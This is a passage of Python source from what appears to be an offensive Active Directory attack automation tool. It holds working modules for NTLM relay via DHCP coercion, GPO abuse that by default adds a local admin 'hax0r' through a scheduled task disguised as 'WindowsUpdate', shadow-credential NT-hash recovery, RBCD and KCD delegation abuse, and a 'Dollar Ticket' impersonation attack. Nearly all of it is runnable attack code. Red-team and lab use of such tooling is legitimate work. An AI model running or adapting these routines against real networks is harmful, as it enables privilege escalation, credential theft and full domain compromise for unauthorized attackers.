cfg.attacker_ip, dhcp_server
]
result = run(coerce_cmd, cfg, timeout=60,
outfile=cfg.work_dir / "dhcp-coerce.txt")
# Wait for relay
time.sleep(15)
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SUCCEED|shadow|delegate",
content, re.IGNORECASE):
ok("🎣 DHCP coercion succeeded — machine account NTLM relayed!")
return True
log.warning("DHCP coercion did not capture relayable auth")
return False
finally:
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# GPO Abuse
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_writable_gpos(cfg: Config) -> list[dict]:
"""Find GPOs the current user can modify.
Returns list of dicts: [{gpo_id, gpo_name, target_ou}]
"""
log.info("🔍 Enumerating writable GPOs...")
gpos = []
# Method 1: bloodyAD
if tool_exists("bloodyAD"):
result = run(
["bloodyAD"] + _bloody_auth_args(cfg) + ["get", "writable", "--detail"],
cfg, timeout=60, outfile=cfg.work_dir / "gpo-enum-bloody.txt"
)
if result.stdout:
# Parse GPO objects with write access
for match in re.finditer(
r"(CN=\{([0-9A-Fa-f-]+)\},CN=Policies.*?)(?=CN=|$)",
result.stdout, re.DOTALL
):
gpo_id = match.group(2)
gpos.append({"gpo_id": gpo_id, "gpo_name": "", "source": "bloodyAD"})
# Method 2: nxc GPO module
if not gpos:
result = run(
["nxc", "ldap", cfg.dc_ip] + _nxc_auth_args(cfg) + ["-M", "gpp_autologin"],
cfg, timeout=60, outfile=cfg.work_dir / "gpo-enum-nxc.txt"
)
# Method 3: LDAP query for GPOs where user has GenericWrite/WriteDacl
if not gpos:
log.info("Querying LDAP for GPO permissions...")
result = run(
["nxc", "ldap", cfg.dc_ip] + _nxc_auth_args(cfg) +
["--query", "(objectClass=groupPolicyContainer)", "displayName,name"],
cfg, timeout=60, outfile=cfg.work_dir / "gpo-enum-ldap.txt"
)
# GPO ACL checking requires more detailed analysis — log for manual review
if result.stdout:
gpo_matches = re.findall(
r"name:\s*\{([0-9A-Fa-f-]+)\}.*?displayName:\s*(.+)",
result.stdout, re.IGNORECASE
)
for gpo_id, gpo_name in gpo_matches:
detail(f"GPO: {gpo_name.strip()} ({gpo_id})")
if gpos:
ok(f"Found {len(gpos)} potentially writable GPO(s)")
else:
log.warning("No writable GPOs detected (may need manual ACL review)")
log.warning("Check with: bloodyAD get writable --detail")
return gpos
def run_gpo_abuse(cfg: Config) -> bool:
"""Abuse writable GPO to execute commands on target computers.
Uses pyGPOAbuse to create an immediate scheduled task that runs as SYSTEM
on all computers where the GPO applies.
"""
phase_header("GPO ABUSE")
if not cfg.has_creds:
log.error("GPO abuse requires domain credentials")
return False
pygpoabuse = find_tool(
"pygpoabuse.py", "pygpoabuse",
paths=[
TOOLS_DIR / "pyGPOAbuse" / "pygpoabuse.py",
]
)
if not pygpoabuse:
log.warning("pyGPOAbuse not found — skipping GPO abuse")
detail("Install: git clone https://github.com/Hackndo/pyGPOAbuse /opt/tools/pyGPOAbuse")
return False
# Find writable GPOs
writable_gpos = detect_writable_gpos(cfg)
if not writable_gpos:
log.warning("No writable GPOs found — skipping GPO abuse")
return False
gpo = writable_gpos[0]
gpo_id = gpo["gpo_id"]
# Build command to execute
if cfg.custom_cmd:
exec_cmd = cfg.custom_cmd
else:
# Default: add a local admin account
exec_cmd = "net user hax0r P@ssw0rd123! /add && net localgroup administrators hax0r /add"
if cfg.applocker:
exec_cmd = _build_applocker_cmd(cfg, fallback_cmd=exec_cmd)
log.info(f"⚔️ Abusing GPO {gpo_id} to create immediate scheduled task...")
# pyGPOAbuse: domain/user:pass -gpo-id "ID" -command "cmd"
auth = f"{cfg.domain}/{cfg.username}:{cfg.password}" if cfg.password else \
f"{cfg.domain}/{cfg.username}"
abuse_cmd = pygpoabuse.split() + [
auth,
"-gpo-id", gpo_id,
"-command", exec_cmd,
"-taskname", "WindowsUpdate",
"-description", "System Maintenance Task",
]
if cfg.nthash:
abuse_cmd += ["-hashes", f"aad3b435b51404eeaad3b435b51404ee:{cfg.nthash}"]
result = run(abuse_cmd, cfg, timeout=60,
outfile=cfg.work_dir / "gpo-abuse.txt")
if result.returncode == 0 and result.stdout:
if re.search(r"scheduled task|created|success", result.stdout, re.IGNORECASE):
success_box("GPO abuse — immediate scheduled task created!")
ok("Task will execute as SYSTEM on next Group Policy refresh (~90 min)")
detail("Force refresh: gpupdate /force (on target)")
detail(f"GPO: {gpo_id}")
detail(f"Command: {exec_cmd}")
# Save for cleanup
gpo_file = cfg.work_dir / "gpo-abuse-cleanup.txt"
gpo_file.write_text(
f"GPO ID: {gpo_id}\n"
f"Task: WindowsUpdate\n"
f"Cleanup: {' '.join(pygpoabuse.split())} {auth} "
f"-gpo-id {gpo_id} --cleanup\n"
)
return True
log.warning("GPO abuse did not confirm task creation")
if result.stdout:
detail(_first_line(result.stdout))
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Shadow Credentials (msDS-KeyCredentialLink)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _pkinit_auth(pfx_path: str, pfx_password: str, cfg: Config) -> bool:
"""Authenticate via PKINIT using a PFX certificate to recover NT hash."""
if tool_exists("certipy"):
log.info(f"PKINIT authentication with {pfx_path}...")
cmd = ["certipy", "auth", "-pfx", pfx_path, "-dc-ip", cfg.dc_ip]
if pfx_password:
cmd += ["-pfx-pass", pfx_password]
result = run(cmd, cfg, timeout=120)
output = result.stdout or ""
hash_match = re.search(r"(?:Got hash|NT[: ]+hash)[:\s]+([a-fA-F0-9]{32})",
output, re.IGNORECASE)
if hash_match:
cfg.nthash = hash_match.group(1)
ok(f"PKINIT: NT hash recovered: {cfg.nthash}")
return True
# Fallback hex match
hex_match = re.search(r"[:\s]([a-fA-F0-9]{32})(?:\s|$)", output)
if hex_match and result.returncode == 0:
cfg.nthash = hex_match.group(1)
ok(f"PKINIT: Possible NT hash: {cfg.nthash}")
return True
# Fallback: PKINITtools gettgtpkinit.py
pkinit_tool = find_tool(
"gettgtpkinit.py",
paths=[TOOLS_DIR / "PKINITtools" / "gettgtpkinit.py"]
)
if pkinit_tool:
log.info("Falling back to PKINITtools for PKINIT auth...")
ccache_path = cfg.work_dir / "shadow-cred.ccache"
cmd = pkinit_tool.split() + [
"-cert-pfx", pfx_path,
"-dc-ip", cfg.dc_ip,
f"{cfg.domain}/{cfg.username}",
str(ccache_path),
]
if pfx_password:
cmd += ["-pfx-pass", pfx_password]
result = run(cmd, cfg, timeout=120)
if ccache_path.exists():
ok(f"PKINIT: TGT saved to {ccache_path}")
detail(f"export KRB5CCNAME={ccache_path}")
return True
log.warning("PKINIT authentication failed")
return False
def run_shadow_credentials(target: str, cfg: Config) -> bool:
"""Set shadow credentials on target and authenticate via PKINIT."""
phase_header(f"SHADOW CREDENTIALS ({target})")
if not cfg.has_creds:
log.error("Shadow Credentials requires domain credentials")
return False
# Try pywhisker first
pywhisker_path = find_tool(
"pywhisker", "pywhisker.py",
paths=[TOOLS_DIR / "pywhisker" / "pywhisker.py"]
)
if pywhisker_path:
log.info(f"Setting shadow credentials on '{target}' via pywhisker...")
shadow_output = cfg.work_dir / f"shadow-cred-{target}.txt"
cmd = pywhisker_path.split() + [
"-d", cfg.domain,
"-u", cfg.username,
"--target", target,
"--action", "add",
"--dc-ip", cfg.dc_ip,
]
if cfg.nthash:
cmd += ["-hashes", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
result = run(cmd, cfg, timeout=120, outfile=shadow_output)
output = result.stdout or ""
if shadow_output.exists():
output += shadow_output.read_text()
# Parse PFX path and password from pywhisker output
pfx_match = re.search(r"PFX.*?(?:saved|written|path)[:\s]+(\S+\.pfx)", output, re.IGNORECASE)
pass_match = re.search(r"PFX.*?password[:\s]+(\S+)", output, re.IGNORECASE)
if pfx_match:
pfx_path = pfx_match.group(1)
pfx_password = pass_match.group(1) if pass_match else ""
ok(f"Shadow credential set on '{target}'")
detail(f"PFX: {pfx_path}")
# Authenticate via PKINIT
if _pkinit_auth(pfx_path, pfx_password, cfg):
success_box(f"Shadow Credentials: NT hash recovered for '{target}'!")
return True
elif result.returncode == 0:
log.warning("pywhisker succeeded but could not parse PFX output")
else:
log.warning(f"pywhisker failed: {_first_line(result.stderr or output)}")
# Fallback: bloodyAD
if tool_exists("bloodyAD"):
log.info(f"Setting shadow credentials on '{target}' via bloodyAD...")
cmd = [
"bloodyAD", "-d", cfg.domain,
"-u", cfg.username,
"--host", cfg.dc_ip,
]
if cfg.nthash:
cmd += ["-p", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
cmd += ["add", "shadowCredentials", target]
result = run(cmd, cfg, timeout=120)
output = result.stdout or ""
pfx_match = re.search(r"PFX.*?(?:saved|path)[:\s]+(\S+\.pfx)", output, re.IGNORECASE)
pass_match = re.search(r"PFX.*?password[:\s]+(\S+)", output, re.IGNORECASE)
if pfx_match or result.returncode == 0:
pfx_path = pfx_match.group(1) if pfx_match else ""
pfx_password = pass_match.group(1) if pass_match else ""
if pfx_path:
ok(f"Shadow credential set on '{target}' via bloodyAD")
if _pkinit_auth(pfx_path, pfx_password, cfg):
success_box(f"Shadow Credentials: NT hash recovered for '{target}'!")
return True
else:
log.warning("bloodyAD succeeded but no PFX file found in output")
else:
log.warning(f"bloodyAD shadow credentials failed: {_first_line(output)}")
if not pywhisker_path and not tool_exists("bloodyAD"):
log.error("Neither pywhisker nor bloodyAD found — cannot set shadow credentials")
detail("Install: git clone https://github.com/ShutdownRepo/pywhisker /opt/tools/pywhisker")
detail("Or: pip install bloodyAD")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Kerberos TGS sname rewrite (tgssub-style — KCD protocol-transition bypass)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def rewrite_spn_in_ccache(ccache_in: Path, alt_spn: str,
ccache_out: Path, cfg: Config) -> bool:
"""Rewrite the outer 'server' (sname) of every credential in a Kerberos
.ccache. Equivalent to tgssub.py / impacket-getST -altservice.
Used after S4U2Proxy when the issued ticket has sname=HTTP/<ghost-spn>
(registered on a target machine via WriteSPN) but the SPN-target service
requires sname=HTTP/<real-host>. The TGS encrypted blob is left intact;
only the cred-table sname changes."""
if not ccache_in.exists():
log.error(f"Input ccache not found: {ccache_in}")
return False
if "/" not in alt_spn:
log.error(f"Alt-SPN must be 'service/host' (got {alt_spn!r})")
return False
# 1. Prefer tgssub.py if present (matches blog/PoC verbatim)
tgssub = find_tool("tgssub.py", paths=[TOOLS_DIR / "tgssub" / "tgssub.py"])
if tgssub:
cmd = tgssub.split() + ["-in", str(ccache_in),
"-out", str(ccache_out),
"-altservice", alt_spn]
result = run(cmd, cfg, timeout=60)
if result.returncode == 0 and ccache_out.exists():
ok(f"tgssub.py: rewrote sname → {alt_spn}")
return True
log.warning(f"tgssub.py failed (rc={result.returncode}), trying impacket inline")
# 2. Fallback: impacket CCache module (system pkg python3-impacket)
try:
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
except ImportError:
log.error("impacket not importable — cannot rewrite ccache")
return False
if cfg.dry_run:
print(f"{C.YELLOW} [DRY RUN] rewrite ccache {ccache_in.name} → sname={alt_spn}{C.NC}")
return True
try:
ccache = CCache.loadFile(str(ccache_in))
new_principal = Principal(
alt_spn,
type=constants.PrincipalNameType.NT_SRV_INST.value,
)
# types.Principal() doesn't auto-populate .realm — fromPrincipal()
# then crashes deserializing it. Borrow the realm from the existing
# ccache cred (which is the correct realm for this ticket anyway).
# cred['server'] is a ccache.Principal; .realm is a CountedOctetString
# whose ['data'] field holds the bytes.
for cred in ccache.credentials:
existing_realm = cred["server"].realm["data"]
if isinstance(existing_realm, bytes):
existing_realm = existing_realm.decode(errors="replace")
new_principal.realm = existing_realm
cred["server"].fromPrincipal(new_principal)
ccache.saveFile(str(ccache_out))
except Exception as e:
log.error(f"impacket ccache rewrite failed: {e}")
return False
ok(f"impacket inline: rewrote sname → {alt_spn} ({ccache_out.name})")
return True
def run_tgs_rewrite_phase(cfg: Config) -> bool:
"""Standalone --phase tgs-rewrite: rewrite a ccache's sname out-of-band."""
phase_header("TGS SPN REWRITE (KCD protocol-transition bypass)")
if not cfg.in_ccache:
log.error("--phase tgs-rewrite needs --in-ccache <path>")
return False
if not cfg.alt_spn:
log.error("--phase tgs-rewrite needs --alt-spn <service/host>")
return False
in_path = Path(cfg.in_ccache)
out_path = cfg.work_dir / f"{in_path.stem}-rewritten.ccache"
if rewrite_spn_in_ccache(in_path, cfg.alt_spn, out_path, cfg):
success_box(f"Rewritten ccache: {out_path}")
detail(f"export KRB5CCNAME={out_path}")
detail(f"evil-winrm -i <host> -r {cfg.domain}")
return True
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# RBCD (Resource-Based Constrained Delegation) Abuse
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _create_machine_account(cfg: Config) -> tuple[str, str]:
"""Create a machine account for RBCD abuse. Returns (name, password) or ('', '')."""
if cfg.machine_account and cfg.machine_password:
ok(f"Using pre-created machine account: {cfg.machine_account}")
return (cfg.machine_account, cfg.machine_password)
if not tool_exists("impacket-addcomputer"):
log.error("impacket-addcomputer not found — cannot create machine account")
return ("", "")
import random
import string
machine_name = cfg.machine_account or f"DESKTOP-{''.join(random.choices(string.ascii_uppercase + string.digits, k=7))}$"
machine_pass = cfg.machine_password or ''.join(
random.choices(string.ascii_letters + string.digits + "!@#$%", k=16)
)
# Strip trailing $ for the command if present, impacket adds it
machine_arg = machine_name.rstrip("$")
log.info(f"Creating machine account '{machine_arg}$' for RBCD abuse...")
cmd = ["impacket-addcomputer"]
if cfg.nthash:
cmd += [f"{cfg.domain}/{cfg.username}", "-hashes", f":{cfg.nthash}"]
else:
cmd += [f"{cfg.domain}/{cfg.username}:{cfg.password}"]
cmd += [
"-computer-name", machine_arg,
"-computer-pass", machine_pass,
"-dc-ip", cfg.dc_ip,
]
result = run(cmd, cfg, timeout=60)
output = (result.stdout or "") + (result.stderr or "")
if re.search(r"successfully added|account.*created", output, re.IGNORECASE):
ok(f"Machine account created: {machine_arg}$")
return (f"{machine_arg}$", machine_pass)
if re.search(r"MachineAccountQuota.*0|MAQ.*0|quota.*exceeded", output, re.IGNORECASE):
log.error("Machine Account Quota (MAQ) is 0 — cannot create machine account")
detail("Try: --machine-account <existing> --machine-password <pass>")
return ("", "")
if re.search(r"already exists", output, re.IGNORECASE):
log.warning(f"Machine account '{machine_arg}$' already exists — trying to use it")
return (f"{machine_arg}$", machine_pass)
log.error(f"Failed to create machine account: {_first_line(output)}")
return ("", "")
def _set_rbcd(target: str, machine_name: str, cfg: Config) -> bool:
"""Set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) on the target."""
log.info(f"Setting RBCD delegation: {machine_name} → {target}...")
# Try bloodyAD first (most reliable)
if tool_exists("bloodyAD"):
cmd = [
"bloodyAD", "-d", cfg.domain,
"-u", cfg.username,
"--host", cfg.dc_ip,
]
if cfg.nthash:
cmd += ["-p", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
cmd += ["add", "rbcd", target, machine_name]
result = run(cmd, cfg, timeout=60)
output = (result.stdout or "") + (result.stderr or "")
if result.returncode == 0 or re.search(r"success|added|attribute.*set", output, re.IGNORECASE):
ok(f"RBCD delegation set: {machine_name} can impersonate on {target}")
return True
log.warning(f"bloodyAD RBCD set failed: {_first_line(output)}")
# Fallback: impacket-rbcd (if available)
rbcd_tool = find_tool(
"impacket-rbcd", "rbcd.py",
paths=[TOOLS_DIR / "impacket" / "examples" / "rbcd.py"]
)
if rbcd_tool:
cmd = rbcd_tool.split()
if cfg.nthash:
cmd += [f"{cfg.domain}/{cfg.username}", "-hashes", f":{cfg.nthash}"]
else:
cmd += [f"{cfg.domain}/{cfg.username}:{cfg.password}"]
cmd += [
"-delegate-to", target,
"-delegate-from", machine_name,
"-action", "write",
"-dc-ip", cfg.dc_ip,
]
result = run(cmd, cfg, timeout=60)
if result.returncode == 0:
ok(f"RBCD delegation set via impacket")
return True
log.error("Failed to set RBCD delegation (need bloodyAD or impacket-rbcd)")
return False
def _s4u2proxy(target: str, machine_name: str, machine_pass: str,
cfg: Config) -> Optional[str]:
"""Perform S4U2Self + S4U2Proxy to impersonate administrator. Returns ccache path."""
if not tool_exists("impacket-getST"):
log.error("impacket-getST not found — cannot perform S4U2Proxy")
return None
ccache_path = cfg.work_dir / f"rbcd-{target}.ccache"
log.info(f"S4U2Proxy: impersonating administrator on {target}...")
# Clean target name → SPN-friendly FQDN.
# If we got a sAMAccountName like "HOST$", strip the trailing $ before
# appending the domain — SPNs use the host's DNS name, not the SAM name.
target_spn = target.rstrip("$")
if "." not in target_spn and cfg.domain:
target_spn = f"{target_spn}.{cfg.domain}"
cmd = [
"impacket-getST",
"-spn", f"cifs/{target_spn}",
"-impersonate", "administrator",
f"{cfg.domain}/{machine_name}:{machine_pass}",
"-dc-ip", cfg.dc_ip,
]
# Optional: rewrite the issued ticket's sname (KCD protocol-transition
# bypass — same effect as tgssub.py post-process)
if cfg.alt_spn:
cmd += ["-altservice", cfg.alt_spn]
log.info(f"S4U2Proxy: -altservice {cfg.alt_spn} (KCD bypass)")
result = run(cmd, cfg, timeout=120)
output = (result.stdout or "") + (result.stderr or "")
# getST saves ccache with a predictable name
ccache_match = re.search(r"Saving ticket in\s+(\S+\.ccache)", output)
if ccache_match:
saved_ccache = Path(ccache_match.group(1))
if saved_ccache.exists():
import shutil as _shutil
_shutil.copy2(str(saved_ccache), str(ccache_path))
ok(f"S4U2Proxy: Kerberos ticket saved to {ccache_path}")
detail(f"export KRB5CCNAME={ccache_path}")
detail(f"impacket-psexec -k -no-pass {target_spn}")
return str(ccache_path)
# Check for any .ccache files created
for f in Path(".").glob("*.ccache"):
if f.stat().st_mtime > cfg.start_time:
import shutil as _shutil
_shutil.copy2(str(f), str(ccache_path))
ok(f"S4U2Proxy: Ticket found and saved to {ccache_path}")
return str(ccache_path)
log.error(f"S4U2Proxy failed: {_first_line(output)}")
return None
def run_rbcd_attack(target: str, cfg: Config) -> bool:
"""RBCD abuse: create machine account, set delegation, S4U2Proxy, impersonate admin."""
phase_header(f"RBCD DELEGATION ABUSE ({target})")
if not cfg.has_creds:
log.error("RBCD abuse requires domain credentials")
return False
# 1. Create machine account
machine_name, machine_pass = _create_machine_account(cfg)
if not machine_name:
return False
# 2. Set RBCD delegation
if not _set_rbcd(target, machine_name, cfg):
return False
# 3. S4U2Proxy to impersonate administrator
ccache = _s4u2proxy(target, machine_name, machine_pass, cfg)
if ccache:
success_box(f"RBCD: Got admin ticket for {target}!")
detail(f"Ticket: {ccache}")
detail(f"Usage: export KRB5CCNAME={ccache}")
detail(f"Then: impacket-psexec -k -no-pass {target}")
return True
log.error("RBCD attack failed at S4U2Proxy stage")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Dollar Ticket — KDC's automatic $-suffix retry on principal lookup
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_dollar_ticket(cfg: Config) -> bool:
"""Dollar Ticket attack — abuses the KDC's name-resolution fallback that
auto-appends '$' when looking up a principal that doesn't exist as a
user but does exist as a machine account.
Flow (GOAD-Dracarys / Triop research):
1. Create attacker-controlled machine account named after a target
Linux user (e.g., 'root$', 'sqladmin$').
2. Request a TGT for the bare username (no $) using the machine
account's password. The KDC's principal lookup falls back to
'<user>$', returns a TGT whose cname stays the user.
3. The ticket can then be used for GSSAPI SSH on a domain-joined
Linux host (`ssh -K -o GSSAPIAuthentication=yes <user>@host`),
logging in as that local user.
Required cfg:
cfg.target_user — the user to impersonate (--target-user)
cfg.has_creds — any low-priv domain creds (we'll create the machine)
MAQ > 0 (or pre-created --machine-account)"""
phase_header(f"DOLLAR TICKET ATTACK (target: {cfg.target_user})")
if not cfg.has_creds:
log.error("Dollar Ticket needs domain credentials (-u/-p)")
return False
if not cfg.target_user:
log.error("Dollar Ticket needs --target-user (e.g. root, sqladmin)")
return False
if not (cfg.dc_ip and cfg.domain):
log.error("Dollar Ticket needs --dc-ip and --domain (auto-discovery should set these)")
return False
if not tool_exists("impacket-getTGT"):
log.error("impacket-getTGT not found — install impacket-scripts")
return False
# Reuse _create_machine_account by temporarily injecting a name
# matching the target user (e.g. 'root$'). _create_machine_account()
# has an early-return when BOTH machine_account+machine_password are
# set (treats them as pre-created), so we MUST clear the password to
# force the create branch to run for real.
desired_name = f"{cfg.target_user}$"
saved_machine = cfg.machine_account
saved_pass = cfg.machine_password
cfg.machine_account = desired_name
cfg.machine_password = "" # force the create branch in the helper
try:
machine_name, machine_pass = _create_machine_account(cfg)
finally:
cfg.machine_account = saved_machine
cfg.machine_password = saved_pass
if not machine_name:
log.error("Could not create machine account — aborting Dollar Ticket")
return False
# Now request a TGT for the BARE user (no $). KDC retries with $.
log.info(f"🎫 getTGT for bare '{cfg.target_user}' (KDC will auto-retry with $)")
out_file = cfg.work_dir / f"dollar-ticket-{cfg.target_user}.log"
cmd = [
"impacket-getTGT",
f"{cfg.domain}/{cfg.target_user}:{machine_pass}",
"-dc-ip", cfg.dc_ip,
]
# impacket-getTGT writes ccache to CWD; chdir into work_dir
prev_cwd = os.getcwd()
try:
os.chdir(cfg.work_dir)
result = run(cmd, cfg, timeout=60, outfile=out_file)
finally:
os.chdir(prev_cwd)
output = out_file.read_text(errors="replace") if out_file.exists() else ""
if cfg.dry_run:
return True
if "Saving ticket in" not in output:
log.error(f"Dollar Ticket failed — see {out_file}")
log.warning("Possible causes:")
detail("- KDC didn't fall back to $-suffix lookup (some Server 2025+ builds reject this)")
detail(f"- A real user named '{cfg.target_user}' exists and shadowed the lookup")
detail("- Machine account creation succeeded but DC delayed replication")
return False
# Locate the produced ccache; impacket names it like '<user>.ccache'.
# Filter the glob fallback by mtime > start_time so we never pick up
# a stale ccache left over from a previous run.
expected = cfg.work_dir / f"{cfg.target_user}.ccache"
if not (expected.exists() and expected.stat().st_mtime >= cfg.start_time):
candidates = sorted(
(p for p in cfg.work_dir.glob(f"{cfg.target_user}*.ccache")
if p.stat().st_mtime >= cfg.start_time),
key=lambda p: p.stat().st_mtime, reverse=True,
)
if candidates:
expected = candidates[0]
else:
log.warning(f"getTGT reported success but no fresh ccache found in {cfg.work_dir}")
return False
final_ccache = cfg.work_dir / f"dollar-ticket-{cfg.target_user}.ccache"
if expected != final_ccache:
import shutil as _sh
_sh.copy2(str(expected), str(final_ccache))
success_box(f"Dollar Ticket: TGT for '{cfg.target_user}' obtained!")
detail(f"Ticket: {final_ccache}")
detail(f"Use: export KRB5CCNAME={final_ccache}")
detail(f" ssh -K -o GSSAPIAuthentication=yes {cfg.target_user}@<linux-host>.{cfg.domain}")
detail(f" # or, if target is Windows: evil-winrm -i <host> -r {cfg.domain}")
return True
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# RBCD + KCD Chain — bypass protocol-transition restriction via ghost SPN
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _cleanup_ghost_spn(target_sam: str, ghost_spn: str, cfg: Config):
"""Best-effort revert of a ghost-SPN write so the target's SPN list
doesn't permanently carry our planted entry."""
if cfg.no_cleanup or not tool_exists("bloodyAD"):
return
log.info(f"🧹 Removing ghost SPN '{ghost_spn}' from {target_sam}")
cmd = ["bloodyAD"] + _bloody_auth_args(cfg) + [
"remove", "object", target_sam, "servicePrincipalName",
"-v", ghost_spn,
]
run(cmd, cfg, timeout=30)
def run_rbcd_kcd_chain(cfg: Config) -> bool:
"""Two-stage RBCD+KCD chain (GOAD-Dracarys / Synacktiv style) that
bypasses the constrained-delegation protocol-transition restriction:
1. Plant a ghost SPN on target_machine (needs WriteSPN rights).
2. Create attacker-controlled machine account.
3. Set RBCD: attacker_machine → target_machine.
4. S4U2Self+S4U2Proxy via attacker_machine targeting the ghost SPN.
The TGS is encrypted with target_machine's key (because the SPN
is registered on target).
5. impacket-getST -altservice rewrites the issued ticket's sname
to the real service SPN at issue time (equivalent to running
tgssub.py on the result).
Result: a ccache holding an admin TGS valid for target_machine's key
with sname matching the real service — usable by evil-winrm / smbexec
immediately.
Required cfg:
cfg.specific_target — target machine in sAMAccountName form (e.g.
'VHAGAR$') or 'VHAGAR.dom' — we have WriteSPN here
cfg.alt_spn — real SPN we want to wield (default: HTTP/<target_host>)
cfg.has_creds — domain creds with WriteSPN on target
MAQ > 0 (or pre-created --machine-account)"""
if not cfg.has_creds:
log.error("RBCD+KCD chain needs domain credentials")
return False
if not cfg.specific_target:
log.error("RBCD+KCD chain needs --target/-T (target machine with WriteSPN)")
return False
if not (cfg.dc_ip and cfg.domain):
log.error("RBCD+KCD chain needs --dc-ip and --domain")
return False
if not tool_exists("bloodyAD"):
log.error("bloodyAD not found — needed to plant ghost SPN")
return False
if not tool_exists("impacket-getST"):
log.error("impacket-getST not found")
return False
# Normalise target to sAMAccountName form (HOST$) and host FQDN form
raw_target = cfg.specific_target
if "." in raw_target:
target_host = raw_target.lower().rstrip(".")
target_sam = raw_target.split(".", 1)[0].rstrip("$").upper() + "$"
else:
target_sam = raw_target.rstrip("$").upper() + "$"
target_host = (raw_target.rstrip("$").lower() + "." + cfg.domain)
real_spn = cfg.alt_spn or f"HTTP/{target_host}"
if "/" not in real_spn:
log.error(f"--alt-spn must be 'service/host', got {real_spn!r}")
return False
service_class = real_spn.split("/")[0]
phase_header(f"RBCD+KCD CHAIN ({target_sam} → {real_spn})")
# Step 1 — plant ghost SPN. Add a random suffix in case two operators
# run this simultaneously against the same domain (1-second granularity
# alone collides too easily).
import random
ghost_host = f"ghost-{int(time.time())}-{random.randint(1000, 9999)}.{cfg.domain}"
ghost_spn = f"{service_class}/{ghost_host}"
log.info(f"👻 Planting ghost SPN '{ghost_spn}' on {target_sam}")
out_spn = cfg.work_dir / f"rbcd-kcd-ghost-{target_sam}.txt"
result = run(
["bloodyAD"] + _bloody_auth_args(cfg) +
["set", "object", target_sam, "servicePrincipalName", "-v", ghost_spn],
cfg, timeout=30, outfile=out_spn,
)
if result.returncode != 0:
log.error(f"Ghost SPN write rejected — need WriteSPN rights on {target_sam}")
detail("Check BloodHound for a WriteSPN edge from your principal to the target")
return False
ok(f"Ghost SPN planted: {ghost_spn}")
# Step 2 — create attacker-controlled machine account
machine_name, machine_pass = _create_machine_account(cfg)
if not machine_name:
log.error("Machine account creation failed — aborting chain")
_cleanup_ghost_spn(target_sam, ghost_spn, cfg)
return False
# Step 3 — set RBCD on target so machine_name can act on its behalf
if not _set_rbcd(target_sam, machine_name, cfg):
log.error("RBCD set failed — aborting chain")
_cleanup_ghost_spn(target_sam, ghost_spn, cfg)
return False
# Step 4+5 — S4U2Self+S4U2Proxy via getST with -altservice rewrite
log.info(f"🎫 S4U2Proxy: ghost {ghost_spn} → real {real_spn} (sname rewrite at issue time)")
out_file = cfg.work_dir / f"rbcd-kcd-{target_sam}.log"
cmd = [
"impacket-getST",
"-spn", ghost_spn,
"-impersonate", "administrator",
"-altservice", real_spn,
f"{cfg.domain}/{machine_name}:{machine_pass}",
"-dc-ip", cfg.dc_ip,
]
prev_cwd = os.getcwd()
try:
os.chdir(cfg.work_dir)
result = run(cmd, cfg, timeout=120, outfile=out_file)
finally:
os.chdir(prev_cwd)
output = out_file.read_text(errors="replace") if out_file.exists() else ""
if cfg.dry_run:
_cleanup_ghost_spn(target_sam, ghost_spn, cfg)
return True
saved_match = re.search(r"Saving ticket in\s+(\S+\.ccache)", output)
if saved_match:
saved_path = Path(saved_match.group(1))
if not saved_path.is_absolute():
saved_path = cfg.work_dir / saved_path.name
if saved_path.exists():
final = cfg.work_dir / f"rbcd-kcd-{target_sam}.ccache"
if saved_path != final:
import shutil as _sh
_sh.copy2(str(saved_path), str(final))
success_box(f"RBCD+KCD: admin TGS for {real_spn} issued!")
detail(f"Ticket: {final}")
detail(f"Use: export KRB5CCNAME={final}")
if service_class.lower() == "http":
detail(f" evil-winrm -i {target_host} -r {cfg.domain}")
else:
detail(f" impacket-psexec -k -no-pass {target_host}")
_cleanup_ghost_spn(target_sam, ghost_spn, cfg)
return True
log.error(f"S4U2Proxy step failed — see {out_file}")
_cleanup_ghost_spn(target_sam, ghost_spn, cfg)
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# SCCM NAA Credential Theft
